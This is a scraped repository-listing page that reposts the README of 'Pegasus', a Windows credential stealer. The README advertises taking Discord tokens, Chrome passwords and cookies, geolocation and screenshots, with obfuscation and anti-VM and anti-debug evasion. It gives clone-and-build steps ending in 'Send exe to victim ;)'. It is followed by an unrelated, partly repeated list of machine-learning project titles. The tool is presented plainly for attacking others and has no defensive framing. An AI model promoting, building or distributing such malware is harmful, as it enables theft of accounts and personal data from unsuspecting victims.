Pull sensitive data from users on windows including discord tokens and chrome data.

Last update: Dec 31, 2022

Overview

⭐ For a 🍪

Pegasus

Pull sensitive data from users on windows including discord tokens and chrome data.

Features

🟩 Discord tokens
🟩 Geolocation data
🟩 Chrome passwords & cookies
🟩 Screenshot
⬛️ MacOS support
🟨 Injections
🟩 Obfuscation
🟩 Anti VM / Virus Scan / Debug

🟩 = Done/Working | 🟨 = In development | ⬛️ = Todo | 🟥 = Not Working

Prerequisites

Python 3 (Add to PATH)
Git

Setup

Open your cli of choice
Clone the repository with git clone https://github.com/addi00000/pegasus.git
Enter the dirctory with cd pegasus
Install dependencies with pip install -r requirements.txt
Run the builder with python builder.py
Follow instructions in builder and your exe will be in the same directory
Send exe to victim ;)

Errors?

Make an issue
Join the Discord

Owner

Addi

GitHub Repository http://www.addidix.xyz

Code Release for ICCV 2021 (oral), "AdaFit: Rethinking Learning-based Normal Estimation on Point Clouds"

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PyTorch implementation of CloudWalk's recent work DenseBody

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Pull sensitive data from users on windows including discord tokens and chrome data.

Related tags

Overview

⭐ For a 🍪

Pegasus

Pull sensitive data from users on windows including discord tokens and chrome data.

Features

🟩 = Done/Working | 🟨 = In development | ⬛️ = Todo | 🟥 = Not Working

Prerequisites

Setup

Errors?

Owner

Addi

Code Release for ICCV 2021 (oral), "AdaFit: Rethinking Learning-based Normal Estimation on Point Clouds"

Official code for "Decoupling Zero-Shot Semantic Segmentation"

Cross View SLAM

[CVPR'2020] DeepDeform: Learning Non-rigid RGB-D Reconstruction with Semi-supervised Data

Pansharpening by convolutional neural networks in the full resolution framework

Image augmentation library in Python for machine learning.

Deep Q-Learning Network in pytorch (not actively maintained)

Final Project for the CS238: Decision Making Under Uncertainty course at Stanford University in Autumn '21.

Object-Centric Learning with Slot Attention

This is Official implementation for "Pose-guided Feature Disentangling for Occluded Person Re-Identification Based on Transformer" in AAAI2022

[ICCV 2021] Counterfactual Attention Learning for Fine-Grained Visual Categorization and Re-identification

This code uses generative adversarial networks to generate diverse task allocation plans for Multi-agent teams.

Pretty Tensor - Fluent Neural Networks in TensorFlow

PyTorch implementation of CloudWalk's recent work DenseBody

AI assistant built in python.the features are it can display time,say weather,open-google,youtube,instagram.

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ThunderGBM: Fast GBDTs and Random Forests on GPUs

Working demo of the Multi-class and Anomaly classification model using the CLIP feature space

Image Segmentation Animation using Quadtree concepts.

iris - Open Source Photos Platform Powered by PyTorch